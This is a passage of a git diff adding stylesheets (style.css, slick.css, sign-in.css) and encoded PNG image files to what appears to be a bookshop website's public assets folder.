.mail_section { + padding: 23px 15px; + } + .footer_section { + padding: 50px 0px; + } + .useful_text { + padding-top: 20px; + } + .container_main { + margin-top: 30px; + } + .gallery_section_2 { + padding-top: 0; + } + .testimonial_section_2 { + padding: 0px 0px 30px 0px; + } + .testimonial_section_2::before { + display: none; + } + .testimonial_section_2::after { + display: none; + } + .client_name_text { + padding-left: 0px; + } + .customer_text { + font-size: 14px; + } + .client_section_2 { + padding-bottom: 50px; + } +} + +@media (max-width: 575px) { + #main_slider a.carousel-control-prev { + top: 90%; + } + #main_slider a.carousel-control-next { + top: 90%; + } + .navbar { + padding: 20px 0px; + } + .logo { + width: 50%; + } + .navbar-toggler { + background-color: #fff; + border: 1px solid #fff; + } + .navbar-expand-lg .navbar-nav .nav-link { + text-align: center; + } + .banner_section { + background-size: 100% 100%; + } + .outstanding_text { + font-size: 30px; + } + .coffee_text { + font-size: 40px; + } + .there_text { + width: 100%; + font-size: 14px; + } + .about_taital_main { + padding: 0px; + } + .about_text { + font-size: 14px; + } + .about_img { + margin-top: 30px; + } + .gallery_text { + font-size: 14px; + } + .box_main { + margin-top: 20px; + } + .mail_section { + padding: 23px 15px; + } + .footer_section { + padding: 50px 0px; + } + .useful_text { + padding-top: 20px; + } + .container_main { + margin-top: 30px; + } + .gallery_section_2 { + padding-top: 0; + } + .testimonial_section_2 { + padding: 0px 0px 30px 0px; + } + .testimonial_section_2::before { + display: none; + } + .testimonial_section_2::after { + display: none; + } + .client_name_text { + padding-left: 0px; + } + .customer_text { + font-size: 14px; + } + .client_section_2 { + padding-bottom: 50px; + } +} \ No newline at end of file diff --git a/public/css/sign-in.css b/public/css/sign-in.css new file mode 100644 index 0000000..a6cb05c --- /dev/null +++ b/public/css/sign-in.css @@ -0,0 +1,25 @@ +html, +body { + height: 100%; +} + +.form-signin { + max-width: 330px; + padding: 1rem; +} + +.form-signin .form-floating:focus-within { + z-index: 2; +} + +.form-signin input[type="email"] { + margin-bottom: -1px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} + +.form-signin input[type="password"] { + margin-bottom: 10px; + border-top-left-radius: 0; + border-top-right-radius: 0; +} \ No newline at end of file diff --git a/public/css/slick.css b/public/css/slick.css new file mode 100644 index 0000000..1a9dd72 --- /dev/null +++ b/public/css/slick.css @@ -0,0 +1,108 @@ +/*--------------------------------------------------------------------- + File Name: slick.css +---------------------------------------------------------------------*/ + +.slick-slider { + position: relative; + display: block; + -moz-box-sizing: border-box; + box-sizing: border-box; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + -webkit-touch-callout: none; + -khtml-user-select: none; + -ms-touch-action: pan-y; + touch-action: pan-y; + -webkit-tap-highlight-color: transparent; +} + +.slick-list { + position: relative; + display: block; + overflow: hidden; + margin: 0; + padding: 0; +} + +.slick-list:focus { + outline: none; +} + +.slick-list.dragging { + cursor: pointer; + cursor: hand; +} + +.slick-slider .slick-track, +.slick-slider .slick-list { + -webkit-transform: translate3d(0, 0, 0); + -moz-transform: translate3d(0, 0, 0); + -ms-transform: translate3d(0, 0, 0); + -o-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} + +.slick-track { + position: relative; + top: 0; + left: 0; + display: block; +} + +.slick-track:before, +.slick-track:after { + display: table; + content: ''; +} + +.slick-track:after { + clear: both; +} + +.slick-loading .slick-track { + visibility: hidden; +} + +.slick-slide { + display: none; + float: left; + height: 100%; + min-height: 1px; +} + +[dir='rtl'] .slick-slide { + float: right; +} + +.slick-slide img { + display: block; +} + +.slick-slide.slick-loading img { + display: none; +} + +.slick-slide.dragging img { + pointer-events: none; +} + +.slick-initialized .slick-slide { + display: block; +} + +.slick-loading .slick-slide { + visibility: hidden; +} + +.slick-vertical .slick-slide { + display: block; + height: auto; + border: 1px solid transparent; +} + +.slick-arrow.slick-hidden { + display: none; +} + diff --git a/public/css/style.css b/public/css/style.css new file mode 100644 index 0000000..82d9f77 --- /dev/null +++ b/public/css/style.css @@ -0,0 +1,999 @@ +/*--------------------------------------------------------------------- File Name: style.css ---------------------------------------------------------------------*/ + + +/*--------------------------------------------------------------------- import Fonts ---------------------------------------------------------------------*/ + +@import url('https://fonts.googleapis.com/css?family=Rajdhani:300,400,500,600,700'); +@import url('https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i'); + +/*****---------------------------------------- 1) font-family: 'Rajdhani', sans-serif; + 2) font-family: 'Poppins', sans-serif; + ----------------------------------------*****/ + + +/*--------------------------------------------------------------------- import Files ---------------------------------------------------------------------*/ + +@import url(animate.min.css); +@import url(normalize.css); +@import url(icomoon.css); +@import url(css/font-awesome.min.css); +@import url(meanmenu.css); +@import url(owl.carousel.min.css); +@import url(swiper.min.css); +@import url(slick.css); +@import url(jquery.fancybox.min.css); +@import url(jquery-ui.css); +@import url(nice-select.css); + +/*--------------------------------------------------------------------- skeleton ---------------------------------------------------------------------*/ + +* { + box-sizing: border-box !important; + transition: ease all 0.5s; +} + +html { + scroll-behavior: smooth; +} + +body { + color: #666666; + font-size: 14px; + font-family: Poppins; + line-height: 1.80857; + font-weight: normal; + overflow-x: hidden !important; +} + +a { + color: #1f1f1f; + text-decoration: none !important; + outline: none !important; + -webkit-transition: all .3s ease-in-out; + -moz-transition: all .3s ease-in-out; + -ms-transition: all .3s ease-in-out; + -o-transition: all .3s ease-in-out; + transition: all .3s ease-in-out; +} + +h1, +h2, +h3, +h4, +h5, +h6 { + letter-spacing: 0; + font-weight: normal; + position: relative; + padding: 0 0 10px 0; + font-weight: normal; + line-height: normal; + color: #111111; + margin: 0 +} + +h1 { + font-size: 24px +} + +h2 { + font-size: 22px +} + +h3 { + font-size: 18px +} + +h4 { + font-size: 16px +} + +h5 { + font-size: 14px +} + +h6 { + font-size: 13px +} + +*, +*::after, +*::before { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +h1 a, +h2 a, +h3 a, +h4 a, +h5 a, +h6 a { + color: #212121; + text-decoration: none!important; + opacity: 1 +} + +button:focus { + outline: none; +} + +ul, +li, +ol { + margin: 0px; + padding: 0px; + list-style: none; +} + +p { + margin: 20px; + font-weight: 300; + font-size: 15px; + line-height: 24px; +} + +a { + color: #222222; + text-decoration: none; + outline: none !important; +} + +a, +.btn { + text-decoration: none !important; + outline: none !important; + -webkit-transition: all .3s ease-in-out; + -moz-transition: all .3s ease-in-out; + -ms-transition: all .3s ease-in-out; + -o-transition: all .3s ease-in-out; + transition: all .3s ease-in-out; +} + +img { + max-width: 100%; + height: auto; +} + + :focus { + outline: 0; +} + +.paddind_bottom_0 { + padding-bottom: 0 !important; +} + +.btn-custom { + margin-top: 20px; + background-color: transparent !important; + border: 2px solid #ddd; + padding: 12px 40px; + font-size: 16px; +} + +.lead { + font-size: 18px; + line-height: 30px; + color: #767676; + margin: 0; + padding: 0; +} + +.form-control:focus { + border-color: #ffffff !important; + box-shadow: 0 0 0 .2rem rgba(255, 255, 255, .25); +} + +.navbar-form input { + border: none !important; +} + +.badge { + font-weight: 500; +} + +blockquote { + margin: 20px 0 20px; + padding: 30px; +} + +button { + border: 0; + margin: 0; + padding: 0; + cursor: pointer; +} + +.full { + float: left; + width: 100%; +} + +.layout_padding { + padding-top: 90px; + padding-bottom: 0px; +} + +/* header section start */ + +.header_section { + width: 100%; + float: left; + background-color: #252525; + height: auto; + background-size: 100%; +} + +.bg-light { + background-color: transparent !important; +} + +.header_main { + width: 100%; + float: left; + background: #10e2bd; + height: 80px; +} + +.navbar-light .navbar-nav .active>.nav-link, +.navbar-light .navbar-nav .nav-link.active, +.navbar-light .navbar-nav .nav-link.show, +.navbar-light .navbar-nav .show>.nav-link { + color: #f76d37; +} + +.navbar-light .navbar-nav .nav-link:focus, +.navbar-light .navbar-nav .nav-link:hover { + color: #f76d37; +} + +.navbar { + padding: 20px 1rem; +} + +.navbar-expand-lg .navbar-nav .nav-link { + padding-right: .5rem; + padding-left: .5rem; + font-size: 18px; + color: #fff; +} + +.logo {} + +/* header section end */ + +/* banner section start */ + +.banner_section { + width: 100%; + float: left; + background-image: url(../images/banner-bg.png); + height: auto; + background-size: 100%; + padding: 10px 0px 25px 0px; + background-repeat: no-repeat; +} + +.banner_taital { + width: 100%; + float: left; + padding: 100px 0px; +} + +.outstanding_text { + width: 100%; + float: left; + font-size: 60px; + color: #252525; + padding-bottom: 0px; +} + +.coffee_text { + width: 100%; + float: left; + font-size: 70px; + color: #fdfcfa; + font-weight: bold; + padding-bottom: 0px; +} + +.there_text { + width: 50%; + float: left; + font-size: 16px; + color: #fff; + margin: 0px; + padding-bottom: 30px; +} + +.learnmore_bt { + width: 170px; +} + +.learnmore_bt a { + width: 100%; + float: left; + padding-right: 0; + background-color: #252525; + color: #fff; + text-align: center; + margin-right: 12px; + height: 53px; + padding: 15px 40px; + font-size: 14px; + text-transform: uppercase; +} + +.learnmore_bt a:hover { + background-color: #f76d37; + color: #fff; +} + +#main_slider a.carousel-control-next { + left: 0px; + right: -60px; + top: 440px; +} + +#main_slider a.carousel-control-prev { + left: -60px; + right: 0px; + top: 440px; +} + +#main_slider .carousel-control-next, +#main_slider .carousel-control-prev { + width: 45px; + height: 45px; + background: #fff; + opacity: 1; + font-size: 30px; + color: #333333; + margin: 0 auto; + z-index: 1; + margin: 0 auto; + text-align: center; +} + +#main_slider .carousel-control-next:focus, +#main_slider .carousel-control-next:hover, +#main_slider .carousel-control-prev:focus, +#main_slider .carousel-control-prev:hover { + color: #ffffff; + background-color: #f76d37; +} + +/* banner section end */ + +/* about section start */ + +.about_section { + width: 100%; + float: left; +} + +.about_taital_main { + width: 100%; + float: left; + padding: 120px 0px; +} + +.about_taital { + width: 100%; + float: left; + font-size: 40px; + color: #f76d37; + font-weight: bold; + text-transform: uppercase; +} + +.about_text { + width: 100%; + float: left; + font-size: 16px; + color: #4c4c4b; + margin: 0px; + padding-top: 10px; +} + +.about_text { + width: 100%; + float: left; + font-size: 16px; + color: #4c4c4b; + margin: 0px; + padding-top: 10px; +} + +.read_bt { + width: 175px; + float: left; + padding-top: 40px; +} + +.read_bt a { + width: 100%; + float: left; + font-size: 18px; + background-color: #252525; + color: #ffffff; + text-align: center; + padding: 8px; +} + +.read_bt a:hover { + color: #ffffff; + background-color: #f76d37; +} + +/* about section end */ + +/* gallery section start */ + +.gallery_section { + width: 100%; + float: left; + padding-bottom: 90px; +} + +.gallery_taital { + width: 100%; + float: left; + text-align: center; + font-size: 40px; + color: #f76d37; + font-weight: bold; +} + +.gallery_text { + width: 100%; + float: left; + font-size: 16px; + text-align: center; + margin: 0px; + padding-top: 20px; + color: #262525; +} + +.gallery_section_2 { + width: 100%; + float: left; + padding-top: 50px; +} + +.image { + display: block; + width: 100%; + height: auto; +} + +img.image { + min-height: 300px; +} + +.container_main { + position: relative; +} + +.overlay { + position: absolute; + top: 0; + bottom: 0; + left: 0; + right: 0; + height: 100%; + width: 100%; + opacity: 0; + transition: .5s ease; + background-color: rgb(254, 230, 220, 0.6); + margin: 0 auto; +} + +.container_main:hover .overlay { + opacity: 1; +} + +.text { + color: white; + font-size: 60px; + position: absolute; + top: 50%; + left: 50%; + -webkit-transform: translate(-50%, -50%); + -ms-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + width: 80%; + text-align: center; +} + +.seemore_bt { + width: 170px; + margin: 0 auto; + text-align: center; + display: flex; +} + +.seemore_bt a { + width: 100%; + text-align: center; + font-size: 18px; + color: #ffffff; + background-color: #252525; + padding: 10px 0px; + margin-top: 40px; +} + +.seemore_bt a:hover { + background-color: #f76d37; + color: #ffffff; +} + +a:hover { + color: #f76d37; + text-decoration: underline; +} + +/* gallery section end */ + +/* services section start */ + +.services_section { + width: 100%; + float: left; + background-image: url(../images/services-bg.png); + height: auto; + padding-bottom: 100px; + background-attachment: fixed; +} + +.services_taital { + width: 100%; + float: left; + font-size: 40px; + color: #ffffff; + font-weight: bold; + text-align: center; +} + +.services_text { + width: 100%; + float: left; + font-size: 16px; + color: #ffffff; + margin: 0px; + text-align: center; +} + +.house_icon { + width: 200px; + height: auto; + border-radius: 100%; + display: flex; + justify-content: center; + align-items: center; + margin: 0 auto; +} + +.house_icon img { + width: 45px; + min-height: 50px; +} + +.box_main .house_icon .image_2 { + display: none; +} + +.box_main:hover .house_icon .image_2 { + display: block; +} + +.box_main:hover .house_icon .image_1 { + display: none; +} + +.box_main:hover { + background-color: #ffffff; +} + +.box_main { + width: 100%; + background-color: #f76d37; + padding: 40px 30px; + box-shadow: 0px 0px 18px -6px; +} + +.box_main:hover .decorate_text { + color: #000; +} + +.box_main:hover .tation_text { + color: #000; +} + +.box_main:hover .readmore_bt { + display: block; +} + +.box_main:hover .readmore_bt a { + color: #ffffff; + background-color: #000; +} + +.services_section_2 { + width: 100%; + float: left; + padding-top: 50px; +} + +.decorate_text { + width: 100%; + font-size: 28px; + color: #ffffff; + padding-top: 30px; + text-align: center; +} + +.tation_text { + width: 100%; + font-size: 14px; + color: #ffffff; + margin: 0px; + text-align: center; +} + +.readmore_bt { + width: 175px; + padding-top: 40px; + margin: 0 auto; + display: flex; + display: none; + padding-bottom: 40px; +} + +.readmore_bt a { + width: 100%; + float: left; + font-size: 18px; + background-color: #070603; + color: #ffffff; + text-align: center; + padding: 8px; + text-transform: uppercase; +} + +.readmore_bt a:hover { + color: #ffffff; + background-color: #f76d37; +} + +/* services section end */ + +/* client section start */ + +.client_section { + width: 100%; + float: left; +} + +.client_taital { + width: 100%; + float: left; + font-size: 40px; + color: #f76d37; + font-weight: bold; + font-family: 'Poppins', sans-serif; +} + +.client_text { + width: 100%; + font-size: 16px; + color: #252525; + margin: 0 auto; +} + +.client_section_2 { + width: 100%; + float: left; + margin-top: 50px; + padding-bottom: 100px; +} + +.testimonial_section_2 { + width: 100%; + float: left; + padding: 0px 40px 30px 40px; + position: relative; +} + +.testimonial_section_2::after { + content: ''; + position: absolute; + width: 100px; + height: 150px; + border-top: 3px solid #252525; + border-left: 3px solid #252525; + top: 12px; + left: 0px; + right: initial; +} + +.testimonial_section_2::before { + content: ''; + position: absolute; + width: 100px; + height: 150px; + border-bottom: 3px solid #252525; + border-right: 3px solid #252525; + top: 12px; + left: initial; + right: 0px; +} + +.client_name_text { + width: 100%; + float: left; + font-size: 24px; + color: #f76d37; + text-transform: uppercase; + padding-left: 100px; + font-weight: bold; +} + +.quick_icon { + text-align: right; + padding-left: 30px; +} + +.customer_text { + width: 100%; + float: left; + font-size: 16px; + color: #252525; + margin: 0px; +} + +.carousel-indicators li { + position: relative; + -ms-flex: 0 1 auto; + flex: 0 1 auto; + width: 55px; + height: 18px; + margin-right: 3px; + margin-left: 3px; + text-indent: -999px; + background-color: #252525; + border-radius: 20px; +} + +.carousel-indicators { + bottom: 0px; +} + +.carousel-indicators .active { + background-color: #f76d37; +} + +/* client section end */ + +/* contact section start */ + +.contact_section { + width: 100%; + float: left; +} + +.contact_text { + width: 100%; + float: left; + font-size: 40px; + text-align: center; + color: #f76d37; + font-weight: bold; +} + +.contact_section_2 { + width: 100%; + float: left; +} + +.mail_section { + width: 100%; + float: left; + background-image: url(../images/img-9.png); + height: auto; + padding: 23px 70px; + background-repeat: no-repeat; + background-size: cover; +} + +.long_text { + width: 52%; + margin: 0 auto; + font-size: 16px; + text-align: center; + color: #b2afaf; + padding-top: 30px; + display: flex; +} + +.email_text { + width: 100%; + float: left; + margin-top: 20px; +} + +.email-bt { + color: #080707; + width: 100%; + height: 55px; + font-size: 20px; + padding: 20px 40px; + border: 0px; + border-radius: 30px; +} + +.massage-bt { + color: #080707; + width: 100%; + height: 150px; + font-size: 20px; + padding: 40px; + border: 0px; + border-radius: 50px; +} + +.send_btn { + width: 170px; + margin: 0 auto; + text-align: center; +} + +.main_bt a { + width: 100%; + margin: 0 auto; + text-align: center; + font-size: 16px; + color: #ffffff; + background-color: #d33a11; + padding: 15px 50px 12px 50px; + border-radius: 30px; + display: block; +} + +.main_bt a { + color: #ffffff; + background-color: #d33a11; +} + +.main_bt a:hover { + color: #323131; + background-color: #ffffff; +} + +.padding_0 { + padding: 0px; +} + +/* contact section end */ + +/* footer section start */ + +.footer_section { + width: 100%; + float: left; + background-color: #252525; + height: auto; + padding: 95px 0px; +} + +.useful_text { + width: 100%; + font-size: 24px; + color: #ffffff; + margin-bottom: 15px; + font-weight: bold; +} + +.footer_text { + width: 100%; + float: left; + font-size: 14px; + color: #ffffff; + margin: 0px; +} + +.footer_menu { + width: 100%; + float: left; +} + +.footer_menu ul { + margin: 0px; + padding: 0px; +} + +.footer_menu li { + font-size: 14px; + color: #ffffff; +} + +.footer_menu li a { + color: #ffffff; +} + +.footer_menu li a:hover { + color: #f76d37; +} + +.dummy_text { + width: 30%; + float: left; + font-size: 14px; + color: #ffffff; + margin: 0px; +} + +.location_text { + width: 100%; + float: left; +} + +.location_text ul { + margin: 0px; + padding: 0px; +} + +.location_text li { + font-size: 14px; + color: #ffffff; + padding: 0px 0px 5px 0px; +} + +.location_text li a { + color: #ffffff; +} + +.location_text li a:hover { + color: #f76d37; +} + +.padding_left_10 { + padding-left: 10px; +} + + +/* footer section end */ + +/* copyright section start */ + +.copyright_section { + width: 100%; + float: left; + background-color: #ffffff; + height: auto; +} + +.copyright_text { + width: 100%; + float: left; + font-size: 16px; + color: #252525; + text-align: center; + margin-left: 0px; +} + +.copyright_text a { + color: #252525; +} + +.copyright_text a:hover { + color: #f76d37; +} + + +/* copyright section end */ + +.margin_top90 { + margin-top: 90px; +} \ No newline at end of file diff --git a/public/images/bookshop.png b/public/images/bookshop.png new file mode 100644 index 0000000000000000000000000000000000000000..dc69a8a92e1d89bd5f8e59af90def0e8b0015528 GIT binary patch literal 12330 zcmeAS@N?(olHy`uVBq!ia0y~yU~gbxV6os}V_;x-arvM#0|NtRfk$L90|Va?5N4dJ z%_q&kz_KGVB%&n3*T*V3KUXg?B|j-uuOhdA0R(L9D+&^mvr|hHl2X$%^K8}M@7}Mj zkeOnu9&YMu;9KCFnvv;IRg@ZB<rk7%m7Q#vqHb@;Wm92Qkz0_PT9T+xk(-lOY*k^a z4mQ^+uh<GCtgmjzWmA-rW)<Y(231m&l4h%(QBqQ1rLSLJUanVete0Puu5V~*X{m2u zq;F)TTa=QfTU?n}l31aeSFEgV$Hk=pHp3;gIJqdZpd>RtPXT0RVp4u-iLJUimjcvi z$C8qw%p|z!dBu8(V3AUg7QN*BT>Zq9VtqqB1CX;66l@^stsGN|?YI;aAeIED7J@kt zUQQ<1rh>$x;?$7Jf>c}epw#00(xT*4b%-jsA<jjqi6yBic18w9rn&~kx<<w}`cU&> zQXo4Jwz^i7c&6By8K)#B8=0BtTBaIX>YA9Pn(A66rkd!c7$=&TBpI1nBwL!n4T5Mv zHO4K;GsVu-$kfQp)Y8zz(A?70!T_!TEQzW<B)>E{1LPGuBe*hz7+9^1J}7i^GQmEC zaG;?A*8vGKh#XS15Fb@3$?#|@C@snXCxMh?{nVV)+|;}hP$U^bBPk`>swA@{Cl%rv zkjor%O28a=6jkKrSmh+<rQ51k=%%EmC6?xtsM|T^=VupZ<QFLDDi}f>isB=vAvXF* z=0lW`<(~qiR1HdZ;LHU|aRn)9`i6SOP|p;kq**zZmSp4?**TWx<|URWIA<hgC+6lQ z=Go{YNpdMr;FgNq0(jt}xTPYo04eoX<Q7<glV*NVNPd2fopWMdS)zhQP-<REYEf#D zrb0@7vaO4wduE2QNkLGsfkJ6<YLRWIqnmqSN}+*?uBSp$QDR<-trJKjB+;ePB2u9w zHMbxqu_V>jMjzdHtX_inGRVcvj>|?LUYOW%A&R5aycApYB6WMaZ6_8qGcagNc)B=- zRLpsE^C0g51%U$_F8wXHo95u;@{Q$Z`q?uzpt6jCfx+heepx8<fFzp%gz3=2$OB;s zBr-5VSS}I=APfe<QDvZzKnf6P28RFt-`s2j1=<0H`q$MpOD8gb>KFzFh8Y5|a1&;d z0O@03NN|D$st-p3M5uui7UBkq4U7;mH5O=e9B3IeEJ2B3G>~bYmPP}a4jFbdkVgX< zT*43e0)8|l(=H`5j#hW0)g1!^!)PJFz%bf6W?;bI2^cMjX;%`%yKSR^JQ~PDy5Tn3 zrl9?B%xEDoT1X7(LSnSKBhc2O>gergaWPt44C&%xv`sPErT``2(Q%5=aSBj67#*iz zU|<;7N!-yk#b}!Xlof~U*zstaVzf;GO2DISiqSR&C>@NpDMs5Apme~%FuWJcK^ksv hM;8);Bb!F+C6(Ow^W;?gw+Aoh_jL7hS?83{1OS$x&+Y&K literal 0 HcmV?d00001 diff --git a/public/images/call-icon.png b/public/images/call-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e729e6e4600843acf8f170782a69b1229ebc5b GIT binary patch literal 1668 zcmeAS@N?(olHy`uVBq!ia0y~yV2}o34mJh`hTbb*LKzqsBuiW)N`mv#O3D+9QW+dm z@{>{(JaZG%Q-e|yQz{EjrrIztFe_z-M3hAM`dB6B=jtVb)aX^@7BGN-jeSKyVsdtB zi9%9pdS;%j()-=}l@u~lY?Z=IeGPmIoKrJ0J*tXQgRA^PlB=?lEmM^2?G$V(tSWK~ za#KqZ6)JLb@`|l0Y?Z*~TICg6frRyy6u?SKvTc<hj*9RNP;kyKN>wn`GuBNuFf>#! zGt)CPF*P$Y)KM@pFf`IPFw!?L(={})GBvX@GFN~CB|8P1qLehNAQv~NT}3Hrwn`Z# zB?VUc`sL;2dgaD?`9<mahL)C=ATx}Nbc<5bbc-wVN)jt{^NN*WCb*;)Cl_TFlw{`T zDS%8&Ov*1Uu~kxn8e5TD05>+T7#d8;`MLTPi3R$GdIlgbLHwFq;OmQDX>KlDb#X~h zD#E>34K5C;EJ)Q4N-fSWElN%eN=;J+xv9X)xhOTUB)=#mKR*W+iUAq<CHch}`2`Bj z!Db2?;hA|U`Q^o$VD-MfR-SpqC5d^-sh%#jN)@>UdYPFiRt82!21b@<PR<sV7KVnd zmQIESCQfFSCZ>*Vjs}L77BIao`N^fZsd*(Zy(tL2&N%ggk^(3=tXxuyGRsm^+=}vZ z6~JD$%Eav!OPuCG^`_u<iz80G`gRI7`k;tKifEWnkc%6L2~Lxs^l7JnNcgFFDYi;Q zO7?bVisz>=Ffje_ba4!+xV2<jbPi9T#PRZJu@^f6rf&+`t|WJ-bH|lf<rT|vRa8`_ zeu%gz?ip`mq9p47^}ytoPY({7ZVPGgm~iz-tjQEEt#u2<r_4C|t9EvNiceZv`fdH6 zPtTY?fAih`{><Wio7*z~@vv@j4d4`3V7FQzxz5o>sIx4MOQ7sW^8<!C4TXLCG&e}3 zl;tm!&uLh!G{<L_Z@>%nv>Qg+4J<t2`+1MCoTyNka#&A-fBM2HKD+lGDKhyX;9lRU zGx71<o|pXbEKUDjD{Q`M@_d2*nT7BBZW~?O&C&U`?1%XS;XQ5ZO8zX7Y;V2f`N6H@ zLxpJG=el{un`dq*ubt-k>;3D`QZJb2TJ7AqLGn|n($S96%xSzP*@-Ie??opa|H2+8 zcKvCIX`~yI{)3MuPY#ycvkf`OZ?gY`d*tbeDT&N$F29w#l(6YZZ-GGAiUcON7tbmh zJofd?XEppI8<w`L=e&Z3{68h1md_v9+g=6jYYFYJy_yr1S@f~^>hzw|A9zo`31nMX z{>%2ryn`w;)+7~u+vmjXxct?OOaqDf<-ewCMJXjsuW7MsezPTC?(f+%5l#1}JiV;? z*RNRS+e&@b1+uGL-c0DfQB*PUWr%QqS;xUQ*<Y^8ojrEyTa!=Jk*KfDyCcgrcFdi6 zbM=lZXYOx{)oHiRl7017j?phou`Jemdg|M#eMjtWX`d)wQOs$;oW;~785OD{y)5;D zR^flqq>bSQx6)tlmdpBU$9ySI<<`P|BG1JlgXTTmwxXcx<g~gshM#|4c%mwHWX|`S z!Z%(RhHd*^wLc+cgUGkTIoBB{&E&p1;nRX^c4kw(mQHMXCs8iJwWdz-jp50?de^&C zukM;U{f3d$>Y2B5yJfV0y;3-z+q{Ey-Pf1)i>EI3`X5wrlmA8v%a6msjP6c*x4T#z zSWvZB<#v_kwS<(9;d-meZ(Nh(@O12N-Tb5RPW9~s)jOwx)^vQ%Xsb3jt-Wi_Qajc= zMmqzz1$T+3n6nvb=AU+0H+jaj6Xr!C0+y-rKf)Ur8N_9S`MS!v?}O?EPgg&ebxsLQ E0QDx2zW@LL literal 0 HcmV?d00001 diff --git a/public/images/fb-icon.png b/public/images/fb-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..8289344b272acbc4bb657b1e21dec867063bf6d0 GIT binary patch literal 1762 zcmeAS@N?(olHy`uVBq!ia0y~yU{GOTU{K{?V_;y=it)B(U|^6eag8Vm&QB{TPb^Ah za7@WhN>%X8O-xS>N=;0uEIgTN!@$6-lo=9H65;D(m7Jfemk3g$SCL!500K7l6$OdO z*{LN8NvY|XdA3ULckfqH$V{<S3ODsN@GWpo&B*kqDoPEm@(W3>%1*XSQL?vFu&J=B z$SufCElE_U$j!+swyLmI0-I}<S8N3m)>l#hD=EpgRf0Gw!Z$#{Ilm}X!Bo#!H`&0@ zP{GVh&(Orw%*;?n!N|bSNZ-In-@r`Q(8S8r%*x1I0Sc7t6l{u8(yW49+@N+9rKH&^ zWt5Z@Sn2DRmzV368|&p4rRy77T3Uk4Ff!6DN=ef#uFNY*tkBIXR)(42l3JWxlvz-c znV+WsGBGhJzqG_wNeOCfMQ#Dy*t}wBFeT^b>Q^Kd=o{)8fV>3pYi@zBFMg%Dxp39R zB|)hO_hL1;IHa;5RX-@TIKQ+gIW;IXO&R2-0xRdD)WnkfqLBRj99Sp@WaO9R7iZ)b zC^!e3DQJXe=B4D97i)sm`}$gW<`tJD<|U_ky4WgJ<QC{<W~Nw~I=dQJI$O9nTUa_7 z8oF9qnwXioIvN_fnp#*|n7En2^t$9Hm*%GCmB93-AoRN8)C)=qpy04_NiE7OOHFYr z%Fk5*d)X=zw_BWWng`XJg4-?5IQ8n=DcI<PA{Hs4VM0MJZXhN&O@h*=odP1^r{<;D zDitZ&+g-}eeZ;`P9Omib7*cWT%#COdkw6Ld4|faiUJB8eerDZ_wAPzvm6&>KS8Q1E zLdng|(cj6@$@Pm6izAERMQ2xmtIlPP6Ha-l3a{-r)Wp)c=}nfaROFPrv~7R)|KR7j z{BGCtH@m(b<PV=|TUV@ie~zW!{`>C(Izmpg%A9C2k>KN0;Qjf4d&^<rjD`6R|1qb} z;OuP?QZr(?^?=W&b^C?muiFkq%;5QHz_`yzc#84E4&hrIs~;MMI4^eU-<7DS(^z7` z8tz=@EW~w)`S?SgGhBtS7LN{aPfw6nVcBgK!F;oTx2#Dp(I~95K;WEX)DBMH)~pEm zqb_f@Ij1gI@<x1_;Y{A<89kZeQ=IpFegDm~mM89DoqNtBj*>(3947CQIOkq@jz>jw zmBM|y6uET`dnDA7qgd4wXZ*?Au(&JoiCjj>Zjr;e0j%Z=7`JKE{O8)S;DF2~5er6c zlXre<Pcr}C4_tV|k5gtsm8z{tZ+T_>;_{-%*0VoY*2YL^1u_ROnYH`Ii{cj-Jv1bR ze*QF`a?tigP>y@vlf5N<-TrT@&ZgdW_RRUBw&z;TYqKYwPK$4x)q2>nHQ+>?Q8~-* zpI_=Z#6@pUk=er+mbU$o%9N<9Px$59O~g(}oILtK=EuSc^Zhr3zy0tmH*NDVEAwRA z9j|V7(8^5ZBjdFLF1-(p@-I!W{1R*TfnV$5(YcFvMo)>WW6L+m4|tZe{oqx@sLg^m z&mH?%Ec1G1o(G>S+it7VAKxbn?J<ZDdH#=`^K5&X=L<o3dA(k@KPi7>)l*h%URvkr zboRpeB_W4%XPW0-;?&<Wg;kNWw4hYya>j|{RVwe}-tR~%O;Wwn6t~$c?NI88fHmv< z@*MB{d3j~Ug`am;R;`iVVwSh&l*zLI`RsuC$7Cic>a}|Pc#+_^C2z-Z$3UL&YhirF zt{cp+%Vab(NxWIwz2KV6ssR12)&kjQyh%pd3*^#TerxTOc=h9GhI%lUsX_G9yK!e8 zp1RF_GSEXsw(n5nx>pU?c}rxJ+XJl=tYRK`<%G}KA-O?hnzO8Uzy2lW)iXED4Ba_3 z-BtHaR>|#kz7HLzR$iKRlJ`$y*y9y*7R*%apYCcf@8r?q+lhIOzjQ_K9G`wZs<O-d xx5s%ow(M&h-#TWyZk+zSbFP&0Z}mEE1BU!r&bl?%=bM9S9Zy$3mvv4FO#qewrzrpc literal 0 HcmV?d00001 diff --git a/public/images/img-8.png b/public/images/img-8.png new file mode 100644 index 0000000000000000000000000000000000000000..69edc4f2f60bb0410900a47ed4accd70cf7330cb GIT binary patch literal 108272 zcmeAS@N?(olHy`uVBq!ia0y~yU_8pez*xn>#K6Gt-2O^20|SF(iEBhjaDG}zd16s2 zgJVj5QmTSyZen_BP-<dIW#P$G8wLhurOc3sk_cZPtK|G#y+n{2y^7od1`x2ZuP8`N z&Q2{+NJ>r5%(GQ`zk9!uLS~AsQn;zFfp39xYDT6<RZ(him0w75Rd%vvijuvZf=z{0 zMQ%ZEYDuC(MQ%=Bu~mhw64+d;ykaYmu)dN4SV>8?trEmh5xxNm&iO^D3Z{C-y2%EH zh6-k8dWI&ZW@d&u3PuKoM*0Ru`UYmYh9*{~W>!Y#3Q(YAr(jc*l4cd;;s&*=C?(BS zDWjyMz)D}gyu4hm+*mKaC|%#s($W%ShLMqOQA(O_ab;dfVufyAu`<jAm(=3qqRfJl z%=|nBkco*&`K2YcN=i^;D{>3q#^x16gDE*bSHB{$K;KZ$0OTczUvmq5eeo;J&4sHj zE(uCSxEHIz#UYgisro^w#rdU0$*Do9Y04ls6<9eJr6!i-7lq{K=fFZSAS1sdzc?em zK*2fKOhF?&GcP5-yjT;g-q+X4Gq1QLF)umQ)5TV)BDX*<Gc(1?$i%|M#mU*k*}}lc 